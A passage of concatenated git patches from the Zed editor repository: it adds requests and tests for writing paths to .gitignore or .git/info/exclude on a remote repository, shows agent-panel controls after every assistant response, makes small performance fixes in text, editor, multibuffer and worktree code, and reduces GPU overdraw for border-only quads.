+                    }
                 }
             },
         )
@@ -9930,7 +9988,20 @@ async fn append_pattern_to_ignore_file(
     file_path: PathBuf,
     pattern: String,
 ) -> Result<()> {
-    let existing_content = fs.load(&file_path).await.unwrap_or_default();
+    let existing_content = match fs.load(&file_path).await {
+        Ok(content) => content,
+        Err(error)
+            if error
+                .root_cause()
+                .downcast_ref::<std::io::Error>()
+                .is_some_and(|error| error.kind() == std::io::ErrorKind::NotFound) =>
+        {
+            String::new()
+        }
+        Err(error) => {
+            return Err(error).with_context(|| format!("loading {}", file_path.display()));
+        }
+    };
 
     if existing_content.lines().any(|line| line.trim() == pattern) {
         return Ok(());
diff --git a/crates/proto/proto/git.proto b/crates/proto/proto/git.proto
index bb8a8b89a0f96d..1d1e635cac1d27 100644
--- a/crates/proto/proto/git.proto
+++ b/crates/proto/proto/git.proto
@@ -322,6 +322,22 @@ message GitCheckoutFiles {
   repeated string paths = 5;
 }
 
+message GitAddPathToGitignore {
+  uint64 project_id = 1;
+  reserved 2;
+  uint64 repository_id = 3;
+  string path = 4;
+  bool is_dir = 5;
+}
+
+message GitAddPathToGitInfoExclude {
+  uint64 project_id = 1;
+  reserved 2;
+  uint64 repository_id = 3;
+  string path = 4;
+  bool is_dir = 5;
+}
+
 // Move to `git.proto` once collab's min version is >=0.171.0.
 message StatusEntry {
   string repo_path = 1;
diff --git a/crates/proto/proto/zed.proto b/crates/proto/proto/zed.proto
index c4a378ee12db38..ae02f34190a235 100644
--- a/crates/proto/proto/zed.proto
+++ b/crates/proto/proto/zed.proto
@@ -497,7 +497,9 @@ message Envelope {
     TrashProjectEntry trash_project_entry = 466;
     TrashProjectEntryResponse trash_project_entry_response = 467;
     RestoreProjectEntry restore_project_entry = 468;
-    RestoreProjectEntryResponse restore_project_entry_response = 469; // current max
+    RestoreProjectEntryResponse restore_project_entry_response = 469;
+    GitAddPathToGitignore git_add_path_to_gitignore = 470;
+    GitAddPathToGitInfoExclude git_add_path_to_git_info_exclude = 471; // current max
   }
 
   reserved 87 to 88;
diff --git a/crates/proto/src/proto.rs b/crates/proto/src/proto.rs
index 20ed7b9d7cd93a..f9ab3789ada781 100644
--- a/crates/proto/src/proto.rs
+++ b/crates/proto/src/proto.rs
@@ -305,6 +305,8 @@ messages!(
     (GitReset, Background),
     (GitDeleteBranch, Background),
     (GitCheckoutFiles, Background),
+    (GitAddPathToGitignore, Background),
+    (GitAddPathToGitInfoExclude, Background),
     (GitShow, Background),
     (GitCommitDetails, Background),
     (GitCreateCheckpoint, Background),
@@ -568,6 +570,8 @@ request_messages!(
     (GitReset, Ack),
     (GitDeleteBranch, Ack),
     (GitCheckoutFiles, Ack),
+    (GitAddPathToGitignore, Ack),
+    (GitAddPathToGitInfoExclude, Ack),
     (SetIndexText, Ack),
     (Push, RemoteMessageResponse),
     (Fetch, RemoteMessageResponse),
@@ -779,6 +783,8 @@ entity_messages!(
     GitReset,
     GitDeleteBranch,
     GitCheckoutFiles,
+    GitAddPathToGitignore,
+    GitAddPathToGitInfoExclude,
     SetIndexText,
     ToggleLspLogs,
     GetDirectoryEnvironment,
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 31fb7d14211682..163bdbe8978ad5 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -22,7 +22,7 @@ use extension::ExtensionHostProxy;
 use fs::{FakeFs, Fs};
 use git::{
     Oid,
-    repository::{CommitData, Worktree as GitWorktree},
+    repository::{CommitData, RepoPath, Worktree as GitWorktree},
 };
 use gpui::{AppContext as _, Entity, SharedString, TestAppContext, UpdateGlobal, VisualContext};
 use http_client::{BlockedHttpClient, FakeHttpClient};
@@ -2423,6 +2423,127 @@ async fn test_remote_archive_git_operations_are_supported(
     .expect("restore_archive_checkpoint should succeed for remote repository");
 }
 
+#[gpui::test]
+async fn test_add_path_to_gitignore_in_remote_repository(
+    cx: &mut TestAppContext,
+    server_cx: &mut TestAppContext,
+) {
+    let fs = FakeFs::new(server_cx.executor());
+    fs.insert_tree(
+        "/project",
+        json!({
+            ".git": {},
+            ".gitignore": "existing\n",
+            "logs": {
+                "app.log": ""
+            },
+            "tmp.txt": "",
+        }),
+    )
+    .await;
+    fs.set_branch_name(Path::new("/project/.git"), Some("main"));
+    fs.set_head_for_repo(
+        Path::new("/project/.git"),
+        &[(".gitignore", "existing\n".into())],
+        "head-sha",
+    );
+
+    let (project, _headless) = init_test(&fs, cx, server_cx).await;
+    project
+        .update(cx, |project, cx| {
+            project.find_or_create_worktree(Path::new("/project"), true, cx)
+        })
+        .await
+        .expect("should open remote worktree");
+    cx.run_until_parked();
+
+    let repository = project.read_with(cx, |project, cx| {
+        project
+            .active_repository(cx)
+            .expect("remote project should have an active repository")
+    });
+
+    for (path, is_dir) in [("tmp.txt", false), ("logs", true), ("tmp.txt", false)] {
+        let repo_path = RepoPath::new(path).expect("path should be a valid repo path");
+        cx.update(|cx| {
+            repository.update(cx, |repository, _| {
+                repository.add_path_to_gitignore(&repo_path, is_dir)
+            })
+        })
+        .await
+        .expect("add to .gitignore request should complete")
+        .expect("add to .gitignore should succeed for remote repository");
+    }
+
+    server_cx.run_until_parked();
+    cx.run_until_parked();
+
+    assert_eq!(
+        fs.load(Path::new("/project/.gitignore"))
+            .await
+            .expect(".gitignore should be readable"),
+        "existing\ntmp.txt\nlogs/\n"
+    );
+}
+
+#[gpui::test]
+async fn test_add_path_to_git_info_exclude_in_remote_repository(
+    cx: &mut TestAppContext,
+    server_cx: &mut TestAppContext,
+) {
+    let fs = FakeFs::new(server_cx.executor());
+    fs.insert_tree(
+        "/project",
+        json!({
+            ".git": {},
+            "logs": {
+                "app.log": ""
+            },
+            "tmp.txt": "",
+        }),
+    )
+    .await;
+    fs.set_branch_name(Path::new("/project/.git"), Some("main"));
+    fs.set_head_for_repo(Path::new("/project/.git"), &[], "head-sha");
+
+    let (project, _headless) = init_test(&fs, cx, server_cx).await;
+    project
+        .update(cx, |project, cx| {
+            project.find_or_create_worktree(Path::new("/project"), true, cx)
+        })
+        .await
+        .expect("should open remote worktree");
+    cx.run_until_parked();
+
+    let repository = project.read_with(cx, |project, cx| {
+        project
+            .active_repository(cx)
+            .expect("remote project should have an active repository")
+    });
+
+    for (path, is_dir) in [("tmp.txt", false), ("logs", true), ("tmp.txt", false)] {
+        let repo_path = RepoPath::new(path).expect("path should be a valid repo path");
+        cx.update(|cx| {
+            repository.update(cx, |repository, _| {
+                repository.add_path_to_git_info_exclude(&repo_path, is_dir)
+            })
+        })
+        .await
+        .expect("add to info/exclude request should complete")
+        .expect("add to info/exclude should succeed for remote repository");
+    }
+
+    server_cx.run_until_parked();
+    cx.run_until_parked();
+
+    assert_eq!(
+        fs.load(Path::new("/project/.git/info/exclude"))
+            .await
+            .expect("info/exclude should be readable"),
+        "tmp.txt\nlogs/\n"
+    );
+}
+
 #[gpui::test]
 async fn test_remote_git_diffs(cx: &mut TestAppContext, server_cx: &mut TestAppContext) {
     let text_2 = "

From f032f4d433da3747f9d7bcc9e9cd52d6ca3fb3e4 Mon Sep 17 00:00:00 2001
From: Yifeng Xu <110726416+peakxy@users.noreply.github.com>
Date: Sun, 19 Jul 2026 06:40:55 +0800
Subject: [PATCH 537/772] agent_ui: Show controls after every agent message
 (#61245)

# Objective

Fixes #61244

In the Agent Panel, after a multi-turn conversation, the action buttons
("Copy this Agent response", "Scroll to User Message", and "Scroll to
top") were only shown after the last assistant response. This was
inconvenient for users who wanted to copy or navigate from earlier
responses.

Additionally, the "Scroll to User Message" button always jumped to the
most recent user message in the entire thread, even when clicked from a
historical assistant response.

This PR addresses both issues by rendering the controls after every
non-blank assistant response, and by making "Scroll to User Message"
jump to the user prompt associated with that specific response.

## Solution

- Refactored `render_thread_controls` in
`crates/agent_ui/src/conversation_view/thread_view.rs` to accept an
explicit `entry_ix`, `copy_response_index`, `is_thread_bottom`, and
`user_message_index`, making it reusable per assistant message.
- Rendered the control bar after each non-blank `AssistantMessage`
entry, not just the last entry.
- Made button IDs unique by using tuple IDs like `("name", entry_ix)`,
matching the existing style in this file and avoiding `format!`
allocations.
- Keyed the copy button ID by the control bar location (`entry_ix`)
while still copying `response_index`'s content, so the bottom fallback
bar doesn't duplicate IDs with the per-response bar.
- Gated the generation/confirmation early return to `is_thread_bottom`,
so historical controls remain accessible while the thread is generating
or waiting for confirmation.
- Gated turn stats and thread feedback buttons to the bottom of the
thread so they only appear on the last response.
- Replaced `scroll_to_most_recent_user_prompt` with a more general
`scroll_to_user_message_index` that takes an optional target user
message index.
- For each per-response button, computed the associated user message
index as the most recent user message before that assistant response.
- For the bottom fallback (when the last entry is not an assistant
message), passed `None` so the button still scrolls to the most recent
user message.
- Updated the tooltip from "Scroll to Most Recent User Message" to
"Scroll to User Message".
- Updated existing tests and added assertions for
`scroll_to_user_message_index(Some(ix), cx)`.

## Testing

- `cargo check -p agent_ui`
- `./script/clippy -p agent_ui`
- `cargo test -p agent_ui --lib` (399 passed)
- Added assertions in `test_scroll_to_most_recent_user_prompt` to verify
`scroll_to_user_message_index(Some(0), cx)` and
`scroll_to_user_message_index(Some(2), cx)` scroll to the correct user
message indices.
- Manual testing recommended: open the Agent Panel, send multiple
messages, and verify that each assistant response has the three buttons
and that "Scroll to User Message" jumps to the corresponding user
prompt.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments (no unsafe blocks)
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

Before: Only the last assistant response in the Agent Panel showed the
"Copy this Agent response", "Scroll to User Message", and "Scroll to
top" buttons. Clicking "Scroll to User Message" always jumped to the
most recent user message.

After: Every non-blank assistant response displays these buttons.
Clicking "Scroll to User Message" on a historical response scrolls to
the user prompt that triggered that specific response.


https://github.com/user-attachments/assets/46e02bcc-8bed-4cf3-a08a-9ef91a206d08

---

Release Notes:

- Added "Copy this Agent response", "Scroll to User Message", and
"Scroll to top" buttons to every agent response in the Agent Panel.
- Fixed "Scroll to User Message" so it jumps to the user prompt
associated with the current response, rather than the most recent user
message.
---
 crates/agent_ui/src/conversation_view.rs      |  14 +-
 .../src/conversation_view/thread_view.rs      | 217 +++++++++++-------
 2 files changed, 146 insertions(+), 85 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index baae5267649ce9..507c96c902c222 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -6951,10 +6951,20 @@ pub(crate) mod tests {
         cx.run_until_parked();
 
         active_thread(&conversation_view, cx).update(cx, |view, cx| {
-            view.scroll_to_most_recent_user_prompt(cx);
+            view.scroll_to_user_message_index(None, cx);
             let scroll_top = view.list_state.logical_scroll_top();
             // Entries layout is: [User1, Assistant1, User2, Assistant2]
             assert_eq!(scroll_top.item_ix, 2);
+
+            view.scroll_to_top(cx);
+            view.scroll_to_user_message_index(Some(0), cx);
+            let scroll_top = view.list_state.logical_scroll_top();
+            assert_eq!(scroll_top.item_ix, 0);
+
+            view.scroll_to_top(cx);
+            view.scroll_to_user_message_index(Some(2), cx);
+            let scroll_top = view.list_state.logical_scroll_top();
+            assert_eq!(scroll_top.item_ix, 2);
         });
     }
 
@@ -6969,7 +6979,7 @@ pub(crate) mod tests {
 
         // With no entries, scrolling should be a no-op and must not panic.
         active_thread(&conversation_view, cx).update(cx, |view, cx| {
-            view.scroll_to_most_recent_user_prompt(cx);
+            view.scroll_to_user_message_index(None, cx);
             let scroll_top = view.list_state.logical_scroll_top();
             assert_eq!(scroll_top.item_ix, 0);
         });
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 290bebd59159ea..35b7145a1bb37a 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -6054,6 +6054,8 @@ impl ThreadView {
                 .get(entry_ix.saturating_sub(1))
                 .is_none_or(|entry| !entry.is_indented());
 
+        let mut assistant_message_is_blank = false;
+
         let primary = match &entry {
             AgentThreadEntry::UserMessage(message) => {
                 let Some(editor) = self
@@ -6288,6 +6290,8 @@ impl ThreadView {
                     ))
                     .into_any();
 
+                assistant_message_is_blank = is_blank;
+
                 if is_blank {
                     Empty.into_any()
                 } else {
@@ -6438,17 +6442,55 @@ impl ThreadView {
             primary
         };
 
-        let needs_confirmation = thread.read(cx).is_waiting_for_confirmation()
-            || self.has_pending_request_elicitation(cx);
+        let primary = if matches!(entry, AgentThreadEntry::AssistantMessage(_))
+            && !assistant_message_is_blank
+        {
+            let user_message_index = thread
+                .read(cx)
+                .entries()
+                .iter()
+                .take(entry_ix)
+                .rposition(|entry| matches!(entry, AgentThreadEntry::UserMessage(_)));
+
+            v_flex()
+                .w_full()
+                .child(primary)
+                .child(self.render_thread_controls(
+                    &thread,
+                    entry_ix,
+                    Some(entry_ix),
+                    entry_ix + 1 == total_entries,
+                    user_message_index,
+                    cx,
+                ))
+                .into_any_element()
+        } else {
+            primary
+        };
+
+        let is_assistant = matches!(entry, AgentThreadEntry::AssistantMessage(_));
 
         let comments_editor = self.thread_feedback.comments_editor.clone();
 
         let primary = if entry_ix + 1 == total_entries {
+            let last_assistant_index = thread
+                .read(cx)
+                .entries()
+                .iter()
+                .rposition(|entry| matches!(entry, AgentThreadEntry::AssistantMessage(_)));
+
             v_flex()
                 .w_full()
                 .child(primary)
-                .when(!needs_confirmation, |this| {
-                    this.child(self.render_thread_controls(&thread, cx))
+                .when(!is_assistant, |this| {
+                    this.child(self.render_thread_controls(
+                        &thread,
+                        entry_ix,
+                        last_assistant_index,
+                        true,
+                        None,
+                        cx,
+                    ))
                 })
                 .when_some(comments_editor, |this, editor| {
                     this.child(Self::render_feedback_feedback_editor(editor, cx))
@@ -6621,22 +6663,22 @@ impl ThreadView {
     fn render_thread_controls(
         &self,
         thread: &Entity<AcpThread>,
+        entry_ix: usize,
+        copy_response_index: Option<usize>,
+        is_thread_bottom: bool,
+        user_message_index: Option<usize>,
         cx: &Context<Self>,
     ) -> impl IntoElement {
         let is_generating = matches!(thread.read(cx).status(), ThreadStatus::Generating);
+        let needs_confirmation = thread.read(cx).is_waiting_for_confirmation()
+            || self.has_pending_request_elicitation(cx);
 
-        if is_generating {
+        if is_thread_bottom && (is_generating || needs_confirmation) {
             return Empty.into_any_element();
         }
 
-        let last_response_index = thread
-            .read(cx)
-            .entries()
-            .iter()
-            .rposition(|entry| matches!(entry, AgentThreadEntry::AssistantMessage(_)));
-
-        let copy_response_button = last_response_index.map(|response_index| {
-            IconButton::new("copy_agent_response", IconName::Copy)
+        let copy_response_button = copy_response_index.map(|response_index| {
+            IconButton::new(("copy_agent_response", entry_ix), IconName::Copy)
                 .icon_size(IconSize::Small)
                 .icon_color(Color::Muted)
                 .tooltip(Tooltip::text("Copy This Agent Response"))
@@ -6649,16 +6691,18 @@ impl ThreadView {
                 }))
         });
 
-        let scroll_to_recent_user_prompt =
-            IconButton::new("scroll_to_recent_user_prompt", IconName::UserArrowUp)
-                .icon_size(IconSize::Small)
-                .icon_color(Color::Muted)
-                .tooltip(Tooltip::text("Scroll to Most Recent User Message"))
-                .on_click(cx.listener(move |this, _, _, cx| {
-                    this.scroll_to_most_recent_user_prompt(cx);
-                }));
+        let scroll_to_recent_user_prompt = IconButton::new(
+            ("scroll_to_recent_user_prompt", entry_ix),
+            IconName::UserArrowUp,
+        )
+        .icon_size(IconSize::Small)
+        .icon_color(Color::Muted)
+        .tooltip(Tooltip::text("Scroll to User Message"))
+        .on_click(cx.listener(move |this, _, _, cx| {
+            this.scroll_to_user_message_index(user_message_index, cx);
+        }));
 
-        let scroll_to_top = IconButton::new("scroll_to_top", IconName::ArrowUp)
+        let scroll_to_top = IconButton::new(("scroll_to_top", entry_ix), IconName::ArrowUp)
             .icon_size(IconSize::Small)
             .icon_color(Color::Muted)
             .tooltip(Tooltip::text("Scroll to Top"))
@@ -6666,7 +6710,7 @@ impl ThreadView {
                 this.scroll_to_top(cx);
             }));
 
-        let show_stats = AgentSettings::get_global(cx).show_turn_stats;
+        let show_stats = is_thread_bottom && AgentSettings::get_global(cx).show_turn_stats;
 
         let last_turn_clock = show_stats
             .then(|| {
@@ -6695,61 +6739,63 @@ impl ThreadView {
             })
             .flatten();
 
-        let feedback_buttons = (self.is_subagent() && self.is_thread_feedback_enabled(cx)).then(
-            || {
-                let feedback = self.thread_feedback.feedback;
-                let tooltip_meta =
-                    "Rating the thread sends all of your current conversation to the Zed team.";
+        let feedback_buttons = is_thread_bottom
+            .then(|| {
+                (self.is_subagent() && self.is_thread_feedback_enabled(cx)).then(|| {
+                    let feedback = self.thread_feedback.feedback;
+                    let tooltip_meta =
+                        "Rating the thread sends all of your current conversation to the Zed team.";
 
-                h_flex()
-                    .child(
-                        IconButton::new("feedback-thumbs-up", IconName::ThumbsUp)
-                            .icon_size(IconSize::Small)
-                            .icon_color(match feedback {
-                                Some(ThreadFeedback::Positive) => Color::Accent,
-                                _ => Color::Muted,
-                            })
-                            .tooltip(move |window, cx| match feedback {
-                                Some(ThreadFeedback::Positive) => {
-                                    Tooltip::text("Thanks for your feedback!")(window, cx)
-                                }
-                                _ => Tooltip::with_meta(
-                                    "Helpful Response",
-                                    None,
-                                    tooltip_meta,
-                                    cx,
-                                ),
-                            })
-                            .on_click(cx.listener(move |this, _, window, cx| {
-                                this.handle_feedback_click(ThreadFeedback::Positive, window, cx);
-                            })),
-                    )
-                    .child(
-                        IconButton::new("feedback-thumbs-down", IconName::ThumbsDown)
-                            .icon_size(IconSize::Small)
-                            .icon_color(match feedback {
-                                Some(ThreadFeedback::Negative) => Color::Accent,
-                                _ => Color::Muted,
-                            })
-                            .tooltip(move |window, cx| match feedback {
-                                Some(ThreadFeedback::Negative) => Tooltip::text(
-                                    "We appreciate your feedback and will use it to improve in the future.",
-                                )(
-                                    window, cx
-                                ),
-                                _ => Tooltip::with_meta(
-                                    "Not Helpful Response",
-                                    None,
-                                    tooltip_meta,
-                                    cx,
-                                ),
-                            })
-                            .on_click(cx.listener(move |this, _, window, cx| {
-                                this.handle_feedback_click(ThreadFeedback::Negative, window, cx);
-                            })),
-                    )
-            },
-        );
+                    h_flex()
+                        .child(
+                            IconButton::new("feedback-thumbs-up", IconName::ThumbsUp)
+                                .icon_size(IconSize::Small)
+                                .icon_color(match feedback {
+                                    Some(ThreadFeedback::Positive) => Color::Accent,
+                                    _ => Color::Muted,
+                                })
+                                .tooltip(move |window, cx| match feedback {
+                                    Some(ThreadFeedback::Positive) => {
+                                        Tooltip::text("Thanks for your feedback!")(window, cx)
+                                    }
+                                    _ => Tooltip::with_meta(
+                                        "Helpful Response",
+                                        None,
+                                        tooltip_meta,
+                                        cx,
+                                    ),
+                                })
+                                .on_click(cx.listener(move |this, _, window, cx| {
+                                    this.handle_feedback_click(ThreadFeedback::Positive, window, cx);
+                                })),
+                        )
+                        .child(
+                            IconButton::new("feedback-thumbs-down", IconName::ThumbsDown)
+                                .icon_size(IconSize::Small)
+                                .icon_color(match feedback {
+                                    Some(ThreadFeedback::Negative) => Color::Accent,
+                                    _ => Color::Muted,
+                                })
+                                .tooltip(move |window, cx| match feedback {
+                                    Some(ThreadFeedback::Negative) => Tooltip::text(
+                                        "We appreciate your feedback and will use it to improve in the future.",
+                                    )(
+                                        window, cx
+                                    ),
+                                    _ => Tooltip::with_meta(
+                                        "Not Helpful Response",
+                                        None,
+                                        tooltip_meta,
+                                        cx,
+                                    ),
+                                })
+                                .on_click(cx.listener(move |this, _, window, cx| {
+                                    this.handle_feedback_click(ThreadFeedback::Negative, window, cx);
+                                })),
+                        )
+                })
+            })
+            .flatten();
 
         h_flex()
             .w_full()
@@ -6833,18 +6879,23 @@ impl ThreadView {
             .unwrap_or_default()
     }
 
-    pub(crate) fn scroll_to_most_recent_user_prompt(&mut self, cx: &mut Context<Self>) {
+    pub(crate) fn scroll_to_user_message_index(
+        &mut self,
+        user_message_index: Option<usize>,
+        cx: &mut Context<Self>,
+    ) {
         let entries = self.thread.read(cx).entries();
         if entries.is_empty() {
             return;
         }
 
-        // Find the most recent user message and scroll it to the top of the viewport.
+        // Scroll to the provided user message, or fall back to the most recent one.
         // (Fallback: if no user message exists, scroll to the bottom.)
-        if let Some(ix) = entries
-            .iter()
-            .rposition(|entry| matches!(entry, AgentThreadEntry::UserMessage(_)))
-        {
+        if let Some(ix) = user_message_index.or_else(|| {
+            entries
+                .iter()
+                .rposition(|entry| matches!(entry, AgentThreadEntry::UserMessage(_)))
+        }) {
             self.list_state.scroll_to(ListOffset {
                 item_ix: ix,
                 offset_in_item: px(0.0),

From ac5538b7239196b7413da76a6258bc9ac4a017fe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miguel=20Raz=20Guzm=C3=A1n=20Macedo?= <miguel@zed.dev>
Date: Sat, 18 Jul 2026 23:36:35 -0600
Subject: [PATCH 538/772] Fix several small performance inefficiencies in hot
 paths (#61275)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Land five small, independent performance fixes found during an audit of
hot paths (anchor resolution, line shaping, worktree scanning, and
sorting in multibuffers).

## Solution

Each fix is its own commit, so **this PR is best reviewed
commit-by-commit** — every commit message contains the full reasoning
for that change:

- `text`: Avoid redundant rope traversal in `Anchor → usize` conversion
— call `offset_for_anchor` directly instead of `summary_for_anchor`,
which recomputed the same byte offset with ~4 extra O(log n) tree walks.
This is the hottest anchor-resolution path.
- `editor`: Avoid double allocation per shaped line —
`line.as_str().into()` instead of `line.clone().into()`, which allocated
twice per visible line, every frame.
- `text`: Use `sort_unstable_by_key` in operation queue insertion —
Lamport timestamps are unique keys and duplicates are deduped right
after, so stability buys nothing.
- `multi_buffer`: Sort with an explicit comparator instead of
`sort_unstable_by_key`, which cloned a `PathKey` (`Arc` refcount bump)
on every comparison.
- `worktree`: Replace O(n²) `Vec::remove` in the deferred-directory pass
with an O(1) `None` assignment — the vec is already
`Vec<Option<ScanJob>>` and is consumed with `.flatten()`.

## Testing

- No behavior changes intended; all changes are mechanical and tests
affected crates pass: `text`, `editor`, `multi_buffer`, `worktree`.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Improved editor performance through several micro-optimizations in
anchor resolution, line shaping, and worktree scanning.
---
 crates/editor/src/element.rs            | 2 +-
 crates/multi_buffer/src/multi_buffer.rs | 2 +-
 crates/text/src/operation_queue.rs      | 2 +-
 crates/text/src/text.rs                 | 4 ++--
 crates/worktree/src/worktree.rs         | 7 +++----
 5 files changed, 8 insertions(+), 9 deletions(-)

diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index d5ca045a5dfdee..71e9a50087a797 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -7099,7 +7099,7 @@ impl LineWithInvisibles {
                         &Self::split_runs_by_bg_segments(&styles, segments, min_contrast, len)
                     };
                     let shaped_line = window.text_system().shape_line(
-                        line.clone().into(),
+                        line.as_str().into(),
                         font_size,
                         text_runs,
                         None,
diff --git a/crates/multi_buffer/src/multi_buffer.rs b/crates/multi_buffer/src/multi_buffer.rs
index e233f393b2949c..9ac5396db77025 100644
--- a/crates/multi_buffer/src/multi_buffer.rs
+++ b/crates/multi_buffer/src/multi_buffer.rs
@@ -2553,7 +2553,7 @@ impl MultiBuffer {
             *non_text_state_update_count += 1;
         }
 
-        paths_to_edit.sort_unstable_by_key(|(path, _, _, _)| path.clone());
+        paths_to_edit.sort_unstable_by(|a, b| a.0.cmp(&b.0));
 
         let mut edits = Vec::new();
         let mut new_excerpts = SumTree::default();
diff --git a/crates/text/src/operation_queue.rs b/crates/text/src/operation_queue.rs
index f87af381ff314f..21239456a384c8 100644
--- a/crates/text/src/operation_queue.rs
+++ b/crates/text/src/operation_queue.rs
@@ -47,7 +47,7 @@ impl<T: Operation> OperationQueue<T> {
     }
 
     pub fn insert(&mut self, mut ops: Vec<T>) {
-        ops.sort_by_key(|op| op.lamport_timestamp());
+        ops.sort_unstable_by_key(|op| op.lamport_timestamp());
         ops.dedup_by_key(|op| op.lamport_timestamp());
         self.0.edit(
             ops.into_iter()
diff --git a/crates/text/src/text.rs b/crates/text/src/text.rs
index b83875dbdb15e2..e15512f3e2da85 100644
--- a/crates/text/src/text.rs
+++ b/crates/text/src/text.rs
@@ -3428,7 +3428,7 @@ impl ToOffset for usize {
 impl ToOffset for Anchor {
     #[inline]
     fn to_offset(&self, snapshot: &BufferSnapshot) -> usize {
-        snapshot.summary_for_anchor(self)
+        snapshot.offset_for_anchor(self)
     }
 }
 
@@ -3570,7 +3570,7 @@ impl FromAnchor for PointUtf16 {
 impl FromAnchor for usize {
     #[inline]
     fn from_anchor(anchor: &Anchor, snapshot: &BufferSnapshot) -> Self {
-        snapshot.summary_for_anchor(anchor)
+        snapshot.offset_for_anchor(anchor)
     }
 }
 
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index ed06ceba7d1285..9ca1fa52abc780 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -5402,13 +5402,12 @@ impl BackgroundScanner {
         for entry in &mut new_entries {
             state.reuse_entry_id(entry);
             if entry.is_dir() {
-                if self.should_scan_directory(&state, entry) {
-                    job_ix += 1;
-                } else {
+                if !self.should_scan_directory(&state, entry) {
                     log::debug!("defer scanning directory {:?}", entry.path);
                     entry.kind = EntryKind::UnloadedDir;
-                    new_jobs.remove(job_ix);
+                    new_jobs[job_ix] = None;
                 }
+                job_ix += 1;
             }
             if entry.is_always_included {
                 state

From 0c51c7fd2481859e9da5c490ef8e41ddbcf1a341 Mon Sep 17 00:00:00 2001
From: John Tur <john-tur@outlook.com>
Date: Sun, 19 Jul 2026 02:52:53 -0400
Subject: [PATCH 539/772] Reduce overdraw for border-only quads (#61274)

Restore an optimization that I mistakenly removed in
https://github.com/zed-industries/zed/pull/54728.

Drawing a quad with a border but no fill color will run the quad
fragment shader for every transparent interior pixel, which is
especially costly when the quad is large. Instead, split these quads
into four non-overlapping strips that cover the regions where borders
are painted. The side strips own the straight left and right edges,
while the top and bottom strips own the horizontal edges and the rounded
corners.

Previously, this optimization only applied to borders drawn by the Taffy
layout. I've decided to reinstate the logic directly in `paint_quad` so
that the optimization can be applied more generally... though if this
feels like too much policy, we can move it back.

This reduces the GPU time spent painting a representative Zed scene by
about 20% or so.

Release Notes:

- N/A
---
 crates/gpui/src/scene.rs                    | 34 ++++++++++
 crates/gpui/src/window.rs                   | 73 ++++++++++++++++++++-
 crates/gpui_windows/src/directx_renderer.rs | 54 +++++++++++----
 3 files changed, 146 insertions(+), 15 deletions(-)

diff --git a/crates/gpui/src/scene.rs b/crates/gpui/src/scene.rs
index ea2ad7b2b90519..ea0f5d7e31af43 100644
--- a/crates/gpui/src/scene.rs
+++ b/crates/gpui/src/scene.rs
@@ -495,6 +495,40 @@ pub enum PrimitiveBatch {
     Surfaces(Range<usize>),
 }
 
+impl PrimitiveBatch {
+    #[expect(missing_docs)]
+    pub fn label(&self) -> String {
+        match self {
+            Self::Shadows(range) => format!("shadows ({})", range.len()),
+            Self::Quads(range) => format!("quads ({})", range.len()),
+            Self::Paths(range) => format!("paths ({})", range.len()),
+            Self::Underlines(range) => format!("underlines ({})", range.len()),
+            Self::MonochromeSprites { texture_id, range } => {
+                format!(
+                    "monochrome sprites ({}) on atlas {}",
+                    range.len(),
+                    texture_id.index
+                )
+            }
+            Self::SubpixelSprites { texture_id, range } => {
+                format!(
+                    "subpixel sprites ({}) on atlas {}",
+                    range.len(),
+                    texture_id.index
+                )
+            }
+            Self::PolychromeSprites { texture_id, range } => {
+                format!(
+                    "polychrome sprites ({}) on atlas {}",
+                    range.len(),
+                    texture_id.index
+                )
+            }
+            Self::Surfaces(range) => format!("surfaces ({})", range.len()),
+        }
+    }
+}
+
 #[derive(Default, Debug, Copy, Clone)]
 #[repr(C)]
 #[expect(missing_docs)]
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 6a2bbf7874b695..8667d605a343e6 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -3835,7 +3835,7 @@ impl Window {
         let opacity = self.element_opacity();
         let snapped_bounds = self.snap_bounds(quad.bounds);
         let snapped_border_widths = self.snap_border_widths(quad.border_widths);
-        self.next_frame.scene.insert_primitive(Quad {
+        let quad = Quad {
             order: 0,
             bounds: snapped_bounds,
             content_mask: self.snapped_content_mask(),
@@ -3844,7 +3844,76 @@ impl Window {
             corner_radii: quad.corner_radii.scale(self.scale_factor()),
             border_widths: snapped_border_widths,
             border_style: quad.border_style,
-        });
+        };
+
+        if !quad.background.is_transparent() {
+            self.next_frame.scene.insert_primitive(quad);
+            return;
+        }
+
+        // We're drawing a quad with a border but no fill color. Painting this quad would run the quad shader for every
+        // transparent interior pixel, which is especially costly when the quad is large.
+        // Instead, split it into four non-overlapping strips that cover the regions where borders are painted:
